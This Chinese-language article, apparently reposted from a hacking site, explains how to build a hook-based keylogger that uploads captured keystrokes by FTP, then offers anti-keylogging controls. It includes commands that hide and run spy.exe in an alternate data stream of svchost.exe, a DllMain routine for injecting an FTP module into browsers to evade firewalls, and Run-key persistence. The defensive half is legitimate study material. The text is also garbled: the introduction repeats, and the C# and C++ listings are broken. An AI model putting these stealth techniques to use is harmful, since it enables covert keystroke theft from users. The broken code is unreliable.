本文将详细讨论一个键盘监视器的C++/C#开发过程并针对反窥探提出了一些建议。希望读者理解基于钩子技术的窥探软件的工作原理以更好地针对自己的软件加以保护。
背景
基于软件的键盘事件记录器是一个严重的安全威胁,因为它们通过捕获击键操作来监控用户的行动。监控器可以用于一些恶意的行为诸如盗窃信用卡号码等。例如,键击记录器就是Trojans病毒的一个基本组成部分,它们在后台安静地运行伺机捕获用户的击键操作。击键事件被保存在经过良好隐藏的文件中通过电子邮件或者FTP方式发送给窥探者。
一、键盘监视器的设计
下面是一个简单的,直接使用钩子技术实现的例子。
键盘监视器体系结构
键盘监视器由三个模块组成:主模块,钩子过程和FTP模块。主模块负责安装一个全局钩子过程。该钩子的任务是把每次按键事件向主模块汇报,由主模块把所有的击键保存到一个文件中。当记录文件达到预定的大小时,主模块命令FTP模块把记录文件上载给一个FTP服务器。三个模块间的通讯是通过Windows消息机制实现的。
简介
本文将详细讨论一个键盘监视器的C++/C#开发过程并针对反窥探提出了一些建议。希望读者理解基于钩子技术的窥探软件的工作原理以更好地针对自己的软件加以保护。
背景
基于软件的键盘事件记录器是一个严重的安全威胁,因为它们通过捕获击键操作来监控用户的行动。监控器可以用于一些恶意的行为诸如盗窃信用卡号码等。例如,键击记录器就是Trojans病毒的一个基本组成部分,它们在后台安静地运行伺机捕获用户的击键操作。击键事件被保存在经过良好隐藏的文件中通过电子邮件或者FTP方式发送给窥探者。
一、键盘监视器的设计
下面是一个简单的,直接使用钩子技术实现的例子。
键盘监视器体系结构
键盘监视器由三个模块组成:主模块,钩子过程和FTP模块。主模块负责安装一个全局钩子过程。该钩子的任务是把每次按键事件向主模块汇报,由主模块把所有的击键保存到一个文件中。当记录文件达到预定的大小时,主模块命令FTP模块把记录文件上载给一个FTP服务器。三个模块间的通讯是通过Windows消息机制实现的。
你可以用下例方式手工操作ADS。
Inject spy.exe to svchost.exe
"type spy.exe > c:\windows\system32\svchost.exe:spy.exe"
Run spy.exe
"start svchost.exe:spy.exe"
防火墙盗窃
大多数的防火墙软件都能探测和阻拦不经授权的程序接入因特网。主模块通过使用FTP模块把记录文件上载到一个FTP服务器。防火墙通过把FTP模块DLL注入到另外一个已经安装的应用程序中来实现盗窃。DLL注入意味着强制一个不能被挂起的进程必须接受一个自己从来没有要求的DLL文件。示例中,我选择把FTP模块注入或者Internet Explorer或者FireFox。DLL注入将会越过大多数防火墙软件的检测,特别在FTP服务器在探听80端口时。钩子过程DLL(它由函数SetWindowsHookEx自动加载进入所有正运行进程)检查是被装入到Internet Explorer还是FireFox并加载(用LoadLibrary)了FTP模块DLL。从DllMain中调用LoadLibrary函数是不允许的,因此DllMain设置了一个布尔变量来让钩子过程调用LoadLibrary库函数。
下面是模块DllMain中的钩子过程:
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call,
LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
char processName[255];
GetModuleFileName(GetModuleHandle( NULL ), processName,sizeof(processName) );
strcpy(processName, _strlwr(processName));
if (strstr(processName, "iexplore.exe") || strstr(processName, "firefox.exe"))
bInjectFtpDll = true;
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
启动
把监视程序加入到下列注册表键处将使得它能够在系统启动时被一起激发:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.
示例程序把spy.exe作为一项新注册表值加入。
二、键盘监视的防范
在这一节中,我将介绍两种简单的技术来帮助你的应用程序反击基于钩子技术的键盘监视程序。
具有防范监视功能的密码编辑控件
免于监视的编辑控件将针对每次用户击键生成一个模拟的随机键击串。监视程序将截获用户的击键和伪击键,这样以来使它很难或者不可能检索实际的输入的文本。用户输入被存储于一个成员变量中-应用程序可以容易地通过编辑控件存取该变量的值。本例中的伪键击是通过调用Win32 API SendInput来实现的。下面这实现了两个控件-一个MFC版本,一个.NET版本。
该编辑安全的控件假定函数SendInput生成键击的速度快于用户击键的速度。这可能导致编辑安全的控件在较慢的机器上返回错误的用户数据,特别是在运行C#实现版本时。
VC++ MFC版本的CsafeEdit类:
void CSafeEdit::OnKeyUp(UINT nChar, UINT nRepCnt, UINT nFlags)
{
if (nChar == VK_SHIFT || nChar == VK_CONTROL || nChar == VK_MENU)
return;
if (nChar == VK_DELETE || nChar == VK_BACK)
{
SetWindowText("");
m_sRealText = "";
return;
}
if (m_state == 0)
{
m_iDummyKeyStrokesCount = SendDummyKeyStrokes();
m_state = 1;
CString text;
GetWindowText(text);
m_sRealText += text.Right(1);
}
else
{
if (m_state++ >= m_iDummyKeyStrokesCount)
m_state = 0;
}
CEdit::OnKeyUp(nChar, nRepCnt, nFlags);
}
///////////////////////////////////////////////////////////////////
CString CSafeEdit::GetRealText()
{
return m_sRealText;
}
///////////////////////////////////////////////////////////////////
int CSafeEdit::SendDummyKeyStrokes()
{
srand((unsigned)::GetTickCount());
int iKeyStrokeCount = rand() % 5 + 1;
int key;
INPUT inp[2];
inp[0].type = INPUT_KEYBOARD;
inp[0].ki.dwExtraInfo = ::GetMessageExtraInfo();
inp[0].ki.dwFlags = 0;
inp[0].ki.time = 0;
for (int i=0; i < iKeyStrokeCount; i++)
{
key = rand() % (’Z’-’A’) + ’A’;
inp[0].ki.wScan = key;
inp[0].ki.wVk = key;
inp[1] = inp[0];
inp[1].ki.dwFlags = KEYEVENTF_KEYUP;
SendInput(2, inp, sizeof(INPUT));
}
return iKeyStrokeCount;
}
用C#实现的SafeEdit类:
public struct KEYDBINPUT
{
short key;Random rand = new Random();
int iKeyStrokeCount = rand.Next(1, 6);
INPUT inputDown = new INPUT();
inputDown.type = INPUT_KEYBOARD;
inputDown.ki.dwFlags = 0;
INPUT inputUp = new INPUT();
inputUp.type = INPUT_KEYBOARD;
inputUp.ki.dwFlags = KEYEVENTF_KEYUP;
for (int i=0; i < iKeyStrokeCount; i++)
{
key = (short) rand.Next(’A’, ’Z’);
inputDown.ki.wVk = key;
SendInput( 1, ref inputDown, Marshal.SizeOf( inputDown ) );
inputUp.ki.wVk = key;
SendInput( 1, ref inputUp, Marshal.SizeOf( inputUp ) );
}
return iKeyStrokeCount;
}
SpyRemover类
基于钩子技术的监视程序依赖于它们的钩子过程DLL。将钩子DLL从应用程序进程中移去将使注入该应用程序的窥探程序失去窥探键击的功能。示例程序使用类SpyRemover来移去钩子DLL文件。SpyRemover构造器接收一个"授权模块"的列表。如果一个模块只是装入到一个应用程序中但是没有出现在该列表中被认为是没有授权的。SpyRemover通过枚举所有的应用程序进程模块来探测未经授权的模块。
VOID SpyRemover::TimerProc(HWND hwnd, UINT uMsg,
unsigned int idEvent, DWORD dwTime)
{
m_SpyRemover->EnumModules();
}
//////////////////////////////////////////////////////////////////
SpyRemover::SpyRemover(char* szAuthorizedList)
{
m_SpyRemover = this;
m_szAuthorizedList = " ";
m_szAuthorizedList += szAuthorizedList;
m_szAuthorizedList += " ";
m_szAuthorizedList.MakeLower();
::SetTimer(NULL, 0, 500, TimerProc);
}
///////////////////////////////////////////////////////////////////
void SpyRemover::EnumModules()
{
DWORD dwPID = ::GetCurrentProcessId();
HANDLE hModuleSnap = INVALID_HANDLE_VALUE;
MODULEENTRY32 me32;
//取得当前进程所有模块的一个快照
hModuleSnap = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, dwPID );
if( hModuleSnap == INVALID_HANDLE_VALUE )
return;
me32.dwSize = sizeof( MODULEENTRY32 );
//检索关于第一个模块(application.exe)的信息
if( !Module32First( hModuleSnap, &me32 ) )
{
CloseHandle( hModuleSnap );
return;
}
//遍历当前进程的模块列表
do
{
if (!IsModuleAuthorized(me32.szModule))
{
HMODULE hmodule = me32.hModule;
CloseHandle(hModuleSnap);
FreeLibrary(hmodule);
return;
} while( Module32Next( hModuleSnap, &me32 ) );
CloseHandle(hModuleSnap);
}
///////////////////////////////////////////////////////////////////
bool SpyRemover::IsModuleAuthorized(char* szModuleName)
{
char szModule[1024];
sprintf(szModule, " %s ", szModuleName);
strcpy(szModule, _strlwr(szModule));
if (strstr(m_szAuthorizedList, szModule))
return true;
else
return false;
}
小结
本文以软件保护为背景,详细讨论了一个键盘监视器的开发并针对反监视提出了一些建议。希望读者理解基于钩子技术的窥探软件的工作原理以更好地针对自己的软件加以保护。另外,本文所附代码在Windows 2000/.NET 2003环境下调试通过。 http://www.hack58.net/Article/60/63/2005/5327.htm